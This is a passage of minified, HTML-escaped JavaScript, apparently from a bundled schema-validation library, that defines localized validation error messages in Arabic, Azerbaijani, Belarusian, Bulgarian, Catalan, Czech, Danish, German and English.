${i.divisor}`;case&quot;unrecognized_keys&quot;:return`معرف${i.keys.length&gt;1?&quot;ات&quot;:&quot;&quot;} غريب${i.keys.length&gt;1?&quot;ة&quot;:&quot;&quot;}: ${hr(i.keys,&quot;، &quot;)}`;case&quot;invalid_key&quot;:return`معرف غير مقبول في ${i.origin}`;case&quot;invalid_union&quot;:return&quot;مدخل غير مقبول&quot;;case&quot;invalid_element&quot;:return`مدخل غير مقبول في ${i.origin}`;default:return&quot;مدخل غير مقبول&quot;}}};function ZLe(){return{localeError:YLe()}}const JLe=()=&gt;{const e={string:{unit:&quot;simvol&quot;,verb:&quot;olmalıdır&quot;},file:{unit:&quot;bayt&quot;,verb:&quot;olmalıdır&quot;},array:{unit:&quot;element&quot;,verb:&quot;olmalıdır&quot;},set:{unit:&quot;element&quot;,verb:&quot;olmalıdır&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;number&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;array&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;input&quot;,email:&quot;email address&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO datetime&quot;,date:&quot;ISO date&quot;,time:&quot;ISO time&quot;,duration:&quot;ISO duration&quot;,ipv4:&quot;IPv4 address&quot;,ipv6:&quot;IPv6 address&quot;,cidrv4:&quot;IPv4 range&quot;,cidrv6:&quot;IPv6 range&quot;,base64:&quot;base64-encoded string&quot;,base64url:&quot;base64url-encoded string&quot;,json_string:&quot;JSON string&quot;,e164:&quot;E.164 number&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;input&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Yanlış dəyər: gözlənilən ${i.expected}, daxil olan ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Yanlış dəyər: gözlənilən ${xn(i.values[0])}`:`Yanlış seçim: aşağıdakılardan biri olmalıdır: ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Çox böyük: gözlənilən ${i.origin??&quot;dəyər&quot;} ${s}${i.maximum.toString()} ${o.unit??&quot;element&quot;}`:`Çox böyük: gözlənilən ${i.origin??&quot;dəyər&quot;} ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Çox kiçik: gözlənilən ${i.origin} ${s}${i.minimum.toString()} ${o.unit}`:`Çox kiçik: gözlənilən ${i.origin} ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Yanlış mətn: &quot;${s.prefix}&quot; ilə başlamalıdır`:s.format===&quot;ends_with&quot;?`Yanlış mətn: &quot;${s.suffix}&quot; ilə bitməlidir`:s.format===&quot;includes&quot;?`Yanlış mətn: &quot;${s.includes}&quot; daxil olmalıdır`:s.format===&quot;regex&quot;?`Yanlış mətn: ${s.pattern} şablonuna uyğun olmalıdır`:`Yanlış ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Yanlış ədəd: ${i.divisor} ilə bölünə bilən olmalıdır`;case&quot;unrecognized_keys&quot;:return`Tanınmayan açar${i.keys.length&gt;1?&quot;lar&quot;:&quot;&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`${i.origin} daxilində yanlış açar`;case&quot;invalid_union&quot;:return&quot;Yanlış dəyər&quot;;case&quot;invalid_element&quot;:return`${i.origin} daxilində yanlış dəyər`;default:return&quot;Yanlış dəyər&quot;}}};function XLe(){return{localeError:JLe()}}function KF(e,t,r,n){const i=Math.abs(e),s=i%10,o=i%100;return o&gt;=11&amp;&amp;o&lt;=19?n:s===1?t:s&gt;=2&amp;&amp;s&lt;=4?r:n}const eMe=()=&gt;{const e={string:{unit:{one:&quot;сімвал&quot;,few:&quot;сімвалы&quot;,many:&quot;сімвалаў&quot;},verb:&quot;мець&quot;},array:{unit:{one:&quot;элемент&quot;,few:&quot;элементы&quot;,many:&quot;элементаў&quot;},verb:&quot;мець&quot;},set:{unit:{one:&quot;элемент&quot;,few:&quot;элементы&quot;,many:&quot;элементаў&quot;},verb:&quot;мець&quot;},file:{unit:{one:&quot;байт&quot;,few:&quot;байты&quot;,many:&quot;байтаў&quot;},verb:&quot;мець&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;лік&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;масіў&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;увод&quot;,email:&quot;email адрас&quot;,url:&quot;URL&quot;,emoji:&quot;эмодзі&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO дата і час&quot;,date:&quot;ISO дата&quot;,time:&quot;ISO час&quot;,duration:&quot;ISO працягласць&quot;,ipv4:&quot;IPv4 адрас&quot;,ipv6:&quot;IPv6 адрас&quot;,cidrv4:&quot;IPv4 дыяпазон&quot;,cidrv6:&quot;IPv6 дыяпазон&quot;,base64:&quot;радок у фармаце base64&quot;,base64url:&quot;радок у фармаце base64url&quot;,json_string:&quot;JSON радок&quot;,e164:&quot;нумар E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;увод&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Няправільны ўвод: чакаўся ${i.expected}, атрымана ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Няправільны ўвод: чакалася ${xn(i.values[0])}`:`Няправільны варыянт: чакаўся адзін з ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);if(o){const l=Number(i.maximum),c=KF(l,o.unit.one,o.unit.few,o.unit.many);return`Занадта вялікі: чакалася, што ${i.origin??&quot;значэнне&quot;} павінна ${o.verb} ${s}${i.maximum.toString()} ${c}`}return`Занадта вялікі: чакалася, што ${i.origin??&quot;значэнне&quot;} павінна быць ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);if(o){const l=Number(i.minimum),c=KF(l,o.unit.one,o.unit.few,o.unit.many);return`Занадта малы: чакалася, што ${i.origin} павінна ${o.verb} ${s}${i.minimum.toString()} ${c}`}return`Занадта малы: чакалася, што ${i.origin} павінна быць ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Няправільны радок: павінен пачынацца з &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Няправільны радок: павінен заканчвацца на &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Няправільны радок: павінен змяшчаць &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Няправільны радок: павінен адпавядаць шаблону ${s.pattern}`:`Няправільны ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Няправільны лік: павінен быць кратным ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Нераспазнаны ${i.keys.length&gt;1?&quot;ключы&quot;:&quot;ключ&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Няправільны ключ у ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Няправільны ўвод&quot;;case&quot;invalid_element&quot;:return`Няправільнае значэнне ў ${i.origin}`;default:return&quot;Няправільны ўвод&quot;}}};function tMe(){return{localeError:eMe()}}const rMe=e=&gt;{const t=typeof e;switch(t){case&quot;number&quot;:return Number.isNaN(e)?&quot;NaN&quot;:&quot;число&quot;;case&quot;object&quot;:{if(Array.isArray(e))return&quot;масив&quot;;if(e===null)return&quot;null&quot;;if(Object.getPrototypeOf(e)!==Object.prototype&amp;&amp;e.constructor)return e.constructor.name}}return t},nMe=()=&gt;{const e={string:{unit:&quot;символа&quot;,verb:&quot;да съдържа&quot;},file:{unit:&quot;байта&quot;,verb:&quot;да съдържа&quot;},array:{unit:&quot;елемента&quot;,verb:&quot;да съдържа&quot;},set:{unit:&quot;елемента&quot;,verb:&quot;да съдържа&quot;}};function t(n){return e[n]??null}const r={regex:&quot;вход&quot;,email:&quot;имейл адрес&quot;,url:&quot;URL&quot;,emoji:&quot;емоджи&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO време&quot;,date:&quot;ISO дата&quot;,time:&quot;ISO време&quot;,duration:&quot;ISO продължителност&quot;,ipv4:&quot;IPv4 адрес&quot;,ipv6:&quot;IPv6 адрес&quot;,cidrv4:&quot;IPv4 диапазон&quot;,cidrv6:&quot;IPv6 диапазон&quot;,base64:&quot;base64-кодиран низ&quot;,base64url:&quot;base64url-кодиран низ&quot;,json_string:&quot;JSON низ&quot;,e164:&quot;E.164 номер&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;вход&quot;};return n=&gt;{switch(n.code){case&quot;invalid_type&quot;:return`Невалиден вход: очакван ${n.expected}, получен ${rMe(n.input)}`;case&quot;invalid_value&quot;:return n.values.length===1?`Невалиден вход: очакван ${xn(n.values[0])}`:`Невалидна опция: очаквано едно от ${hr(n.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const i=n.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,s=t(n.origin);return s?`Твърде голямо: очаква се ${n.origin??&quot;стойност&quot;} да съдържа ${i}${n.maximum.toString()} ${s.unit??&quot;елемента&quot;}`:`Твърде голямо: очаква се ${n.origin??&quot;стойност&quot;} да бъде ${i}${n.maximum.toString()}`}case&quot;too_small&quot;:{const i=n.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,s=t(n.origin);return s?`Твърде малко: очаква се ${n.origin} да съдържа ${i}${n.minimum.toString()} ${s.unit}`:`Твърде малко: очаква се ${n.origin} да бъде ${i}${n.minimum.toString()}`}case&quot;invalid_format&quot;:{const i=n;if(i.format===&quot;starts_with&quot;)return`Невалиден низ: трябва да започва с &quot;${i.prefix}&quot;`;if(i.format===&quot;ends_with&quot;)return`Невалиден низ: трябва да завършва с &quot;${i.suffix}&quot;`;if(i.format===&quot;includes&quot;)return`Невалиден низ: трябва да включва &quot;${i.includes}&quot;`;if(i.format===&quot;regex&quot;)return`Невалиден низ: трябва да съвпада с ${i.pattern}`;let s=&quot;Невалиден&quot;;return i.format===&quot;emoji&quot;&amp;&amp;(s=&quot;Невалидно&quot;),i.format===&quot;datetime&quot;&amp;&amp;(s=&quot;Невалидно&quot;),i.format===&quot;date&quot;&amp;&amp;(s=&quot;Невалидна&quot;),i.format===&quot;time&quot;&amp;&amp;(s=&quot;Невалидно&quot;),i.format===&quot;duration&quot;&amp;&amp;(s=&quot;Невалидна&quot;),`${s} ${r[i.format]??n.format}`}case&quot;not_multiple_of&quot;:return`Невалидно число: трябва да бъде кратно на ${n.divisor}`;case&quot;unrecognized_keys&quot;:return`Неразпознат${n.keys.length&gt;1?&quot;и&quot;:&quot;&quot;} ключ${n.keys.length&gt;1?&quot;ове&quot;:&quot;&quot;}: ${hr(n.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Невалиден ключ в ${n.origin}`;case&quot;invalid_union&quot;:return&quot;Невалиден вход&quot;;case&quot;invalid_element&quot;:return`Невалидна стойност в ${n.origin}`;default:return&quot;Невалиден вход&quot;}}};function iMe(){return{localeError:nMe()}}const aMe=()=&gt;{const e={string:{unit:&quot;caràcters&quot;,verb:&quot;contenir&quot;},file:{unit:&quot;bytes&quot;,verb:&quot;contenir&quot;},array:{unit:&quot;elements&quot;,verb:&quot;contenir&quot;},set:{unit:&quot;elements&quot;,verb:&quot;contenir&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;number&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;array&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;entrada&quot;,email:&quot;adreça electrònica&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;data i hora ISO&quot;,date:&quot;data ISO&quot;,time:&quot;hora ISO&quot;,duration:&quot;durada ISO&quot;,ipv4:&quot;adreça IPv4&quot;,ipv6:&quot;adreça IPv6&quot;,cidrv4:&quot;rang IPv4&quot;,cidrv6:&quot;rang IPv6&quot;,base64:&quot;cadena codificada en base64&quot;,base64url:&quot;cadena codificada en base64url&quot;,json_string:&quot;cadena JSON&quot;,e164:&quot;número E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;entrada&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Tipus invàlid: s&#039;esperava ${i.expected}, s&#039;ha rebut ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Valor invàlid: s&#039;esperava ${xn(i.values[0])}`:`Opció invàlida: s&#039;esperava una de ${hr(i.values,&quot; o &quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;com a màxim&quot;:&quot;menys de&quot;,o=t(i.origin);return o?`Massa gran: s&#039;esperava que ${i.origin??&quot;el valor&quot;} contingués ${s} ${i.maximum.toString()} ${o.unit??&quot;elements&quot;}`:`Massa gran: s&#039;esperava que ${i.origin??&quot;el valor&quot;} fos ${s} ${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;com a mínim&quot;:&quot;més de&quot;,o=t(i.origin);return o?`Massa petit: s&#039;esperava que ${i.origin} contingués ${s} ${i.minimum.toString()} ${o.unit}`:`Massa petit: s&#039;esperava que ${i.origin} fos ${s} ${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Format invàlid: ha de començar amb &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Format invàlid: ha d&#039;acabar amb &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Format invàlid: ha d&#039;incloure &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Format invàlid: ha de coincidir amb el patró ${s.pattern}`:`Format invàlid per a ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Número invàlid: ha de ser múltiple de ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Clau${i.keys.length&gt;1?&quot;s&quot;:&quot;&quot;} no reconeguda${i.keys.length&gt;1?&quot;s&quot;:&quot;&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Clau invàlida a ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Entrada invàlida&quot;;case&quot;invalid_element&quot;:return`Element invàlid a ${i.origin}`;default:return&quot;Entrada invàlida&quot;}}};function sMe(){return{localeError:aMe()}}const oMe=()=&gt;{const e={string:{unit:&quot;znaků&quot;,verb:&quot;mít&quot;},file:{unit:&quot;bajtů&quot;,verb:&quot;mít&quot;},array:{unit:&quot;prvků&quot;,verb:&quot;mít&quot;},set:{unit:&quot;prvků&quot;,verb:&quot;mít&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;číslo&quot;;case&quot;string&quot;:return&quot;řetězec&quot;;case&quot;boolean&quot;:return&quot;boolean&quot;;case&quot;bigint&quot;:return&quot;bigint&quot;;case&quot;function&quot;:return&quot;funkce&quot;;case&quot;symbol&quot;:return&quot;symbol&quot;;case&quot;undefined&quot;:return&quot;undefined&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;pole&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;regulární výraz&quot;,email:&quot;e-mailová adresa&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;datum a čas ve formátu ISO&quot;,date:&quot;datum ve formátu ISO&quot;,time:&quot;čas ve formátu ISO&quot;,duration:&quot;doba trvání ISO&quot;,ipv4:&quot;IPv4 adresa&quot;,ipv6:&quot;IPv6 adresa&quot;,cidrv4:&quot;rozsah IPv4&quot;,cidrv6:&quot;rozsah IPv6&quot;,base64:&quot;řetězec zakódovaný ve formátu base64&quot;,base64url:&quot;řetězec zakódovaný ve formátu base64url&quot;,json_string:&quot;řetězec ve formátu JSON&quot;,e164:&quot;číslo E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;vstup&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Neplatný vstup: očekáváno ${i.expected}, obdrženo ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Neplatný vstup: očekáváno ${xn(i.values[0])}`:`Neplatná možnost: očekávána jedna z hodnot ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Hodnota je příliš velká: ${i.origin??&quot;hodnota&quot;} musí mít ${s}${i.maximum.toString()} ${o.unit??&quot;prvků&quot;}`:`Hodnota je příliš velká: ${i.origin??&quot;hodnota&quot;} musí být ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Hodnota je příliš malá: ${i.origin??&quot;hodnota&quot;} musí mít ${s}${i.minimum.toString()} ${o.unit??&quot;prvků&quot;}`:`Hodnota je příliš malá: ${i.origin??&quot;hodnota&quot;} musí být ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Neplatný řetězec: musí začínat na &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Neplatný řetězec: musí končit na &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Neplatný řetězec: musí obsahovat &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Neplatný řetězec: musí odpovídat vzoru ${s.pattern}`:`Neplatný formát ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Neplatné číslo: musí být násobkem ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Neznámé klíče: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Neplatný klíč v ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Neplatný vstup&quot;;case&quot;invalid_element&quot;:return`Neplatná hodnota v ${i.origin}`;default:return&quot;Neplatný vstup&quot;}}};function lMe(){return{localeError:oMe()}}const cMe=()=&gt;{const e={string:{unit:&quot;tegn&quot;,verb:&quot;havde&quot;},file:{unit:&quot;bytes&quot;,verb:&quot;havde&quot;},array:{unit:&quot;elementer&quot;,verb:&quot;indeholdt&quot;},set:{unit:&quot;elementer&quot;,verb:&quot;indeholdt&quot;}},t={string:&quot;streng&quot;,number:&quot;tal&quot;,boolean:&quot;boolean&quot;,array:&quot;liste&quot;,object:&quot;objekt&quot;,set:&quot;sæt&quot;,file:&quot;fil&quot;};function r(o){return e[o]??null}function n(o){return t[o]??o}const i=o=&gt;{const l=typeof o;switch(l){case&quot;number&quot;:return Number.isNaN(o)?&quot;NaN&quot;:&quot;tal&quot;;case&quot;object&quot;:return Array.isArray(o)?&quot;liste&quot;:o===null?&quot;null&quot;:Object.getPrototypeOf(o)!==Object.prototype&amp;&amp;o.constructor?o.constructor.name:&quot;objekt&quot;}return l},s={regex:&quot;input&quot;,email:&quot;e-mailadresse&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO dato- og klokkeslæt&quot;,date:&quot;ISO-dato&quot;,time:&quot;ISO-klokkeslæt&quot;,duration:&quot;ISO-varighed&quot;,ipv4:&quot;IPv4-område&quot;,ipv6:&quot;IPv6-område&quot;,cidrv4:&quot;IPv4-spektrum&quot;,cidrv6:&quot;IPv6-spektrum&quot;,base64:&quot;base64-kodet streng&quot;,base64url:&quot;base64url-kodet streng&quot;,json_string:&quot;JSON-streng&quot;,e164:&quot;E.164-nummer&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;input&quot;};return o=&gt;{switch(o.code){case&quot;invalid_type&quot;:return`Ugyldigt input: forventede ${n(o.expected)}, fik ${n(i(o.input))}`;case&quot;invalid_value&quot;:return o.values.length===1?`Ugyldig værdi: forventede ${xn(o.values[0])}`:`Ugyldigt valg: forventede en af følgende ${hr(o.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const l=o.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,c=r(o.origin),d=n(o.origin);return c?`For stor: forventede ${d??&quot;value&quot;} ${c.verb} ${l} ${o.maximum.toString()} ${c.unit??&quot;elementer&quot;}`:`For stor: forventede ${d??&quot;value&quot;} havde ${l} ${o.maximum.toString()}`}case&quot;too_small&quot;:{const l=o.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,c=r(o.origin),d=n(o.origin);return c?`For lille: forventede ${d} ${c.verb} ${l} ${o.minimum.toString()} ${c.unit}`:`For lille: forventede ${d} havde ${l} ${o.minimum.toString()}`}case&quot;invalid_format&quot;:{const l=o;return l.format===&quot;starts_with&quot;?`Ugyldig streng: skal starte med &quot;${l.prefix}&quot;`:l.format===&quot;ends_with&quot;?`Ugyldig streng: skal ende med &quot;${l.suffix}&quot;`:l.format===&quot;includes&quot;?`Ugyldig streng: skal indeholde &quot;${l.includes}&quot;`:l.format===&quot;regex&quot;?`Ugyldig streng: skal matche mønsteret ${l.pattern}`:`Ugyldig ${s[l.format]??o.format}`}case&quot;not_multiple_of&quot;:return`Ugyldigt tal: skal være deleligt med ${o.divisor}`;case&quot;unrecognized_keys&quot;:return`${o.keys.length&gt;1?&quot;Ukendte nøgler&quot;:&quot;Ukendt nøgle&quot;}: ${hr(o.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Ugyldig nøgle i ${o.origin}`;case&quot;invalid_union&quot;:return&quot;Ugyldigt input: matcher ingen af de tilladte typer&quot;;case&quot;invalid_element&quot;:return`Ugyldig værdi i ${o.origin}`;default:return&quot;Ugyldigt input&quot;}}};function uMe(){return{localeError:cMe()}}const dMe=()=&gt;{const e={string:{unit:&quot;Zeichen&quot;,verb:&quot;zu haben&quot;},file:{unit:&quot;Bytes&quot;,verb:&quot;zu haben&quot;},array:{unit:&quot;Elemente&quot;,verb:&quot;zu haben&quot;},set:{unit:&quot;Elemente&quot;,verb:&quot;zu haben&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;Zahl&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;Array&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;Eingabe&quot;,email:&quot;E-Mail-Adresse&quot;,url:&quot;URL&quot;,emoji:&quot;Emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO-Datum und -Uhrzeit&quot;,date:&quot;ISO-Datum&quot;,time:&quot;ISO-Uhrzeit&quot;,duration:&quot;ISO-Dauer&quot;,ipv4:&quot;IPv4-Adresse&quot;,ipv6:&quot;IPv6-Adresse&quot;,cidrv4:&quot;IPv4-Bereich&quot;,cidrv6:&quot;IPv6-Bereich&quot;,base64:&quot;Base64-codierter String&quot;,base64url:&quot;Base64-URL-codierter String&quot;,json_string:&quot;JSON-String&quot;,e164:&quot;E.164-Nummer&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;Eingabe&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Ungültige Eingabe: erwartet ${i.expected}, erhalten ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Ungültige Eingabe: erwartet ${xn(i.values[0])}`:`Ungültige Option: erwartet eine von ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Zu groß: erwartet, dass ${i.origin??&quot;Wert&quot;} ${s}${i.maximum.toString()} ${o.unit??&quot;Elemente&quot;} hat`:`Zu groß: erwartet, dass ${i.origin??&quot;Wert&quot;} ${s}${i.maximum.toString()} ist`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Zu klein: erwartet, dass ${i.origin} ${s}${i.minimum.toString()} ${o.unit} hat`:`Zu klein: erwartet, dass ${i.origin} ${s}${i.minimum.toString()} ist`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Ungültiger String: muss mit &quot;${s.prefix}&quot; beginnen`:s.format===&quot;ends_with&quot;?`Ungültiger String: muss mit &quot;${s.suffix}&quot; enden`:s.format===&quot;includes&quot;?`Ungültiger String: muss &quot;${s.includes}&quot; enthalten`:s.format===&quot;regex&quot;?`Ungültiger String: muss dem Muster ${s.pattern} entsprechen`:`Ungültig: ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Ungültige Zahl: muss ein Vielfaches von ${i.divisor} sein`;case&quot;unrecognized_keys&quot;:return`${i.keys.length&gt;1?&quot;Unbekannte Schlüssel&quot;:&quot;Unbekannter Schlüssel&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Ungültiger Schlüssel in ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Ungültige Eingabe&quot;;case&quot;invalid_element&quot;:return`Ungültiger Wert in ${i.origin}`;default:return&quot;Ungültige Eingabe&quot;}}};function fMe(){return{localeError:dMe()}}const hMe=e=&gt;{const t=typeof e;switch(t){case&quot;number&quot;:return Number.isNaN(e)?&quot;NaN&quot;:&quot;number&quot;;case&quot;object&quot;:{if(Array.isArray(e))return&quot;array&quot;;if(e===null)return&quot;null&quot;;if(Object.getPrototypeOf(e)!==Object.prototype&amp;&amp;e.constructor)return e.constructor.name}}return t},mMe=()=&gt;{const e={string:{unit:&quot;characters&quot;,verb:&quot;to have&quot;},file:{unit:&quot;bytes&quot;,verb:&quot;to have&quot;},array:{unit:&quot;items&quot;,verb:&quot;to have&quot;},set:{unit:&quot;items&quot;,verb:&quot;to have&quot;}};function t(n){return e[n]??null}const r={regex:&quot;input&quot;,email:&quot;email address&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO datetime&quot;,date:&quot;ISO date&quot;,time:&quot;ISO time&quot;,duration:&quot;ISO duration&quot;,ipv4:&quot;IPv4 address&quot;,ipv6:&quot;IPv6 address&quot;,mac:&quot;MAC 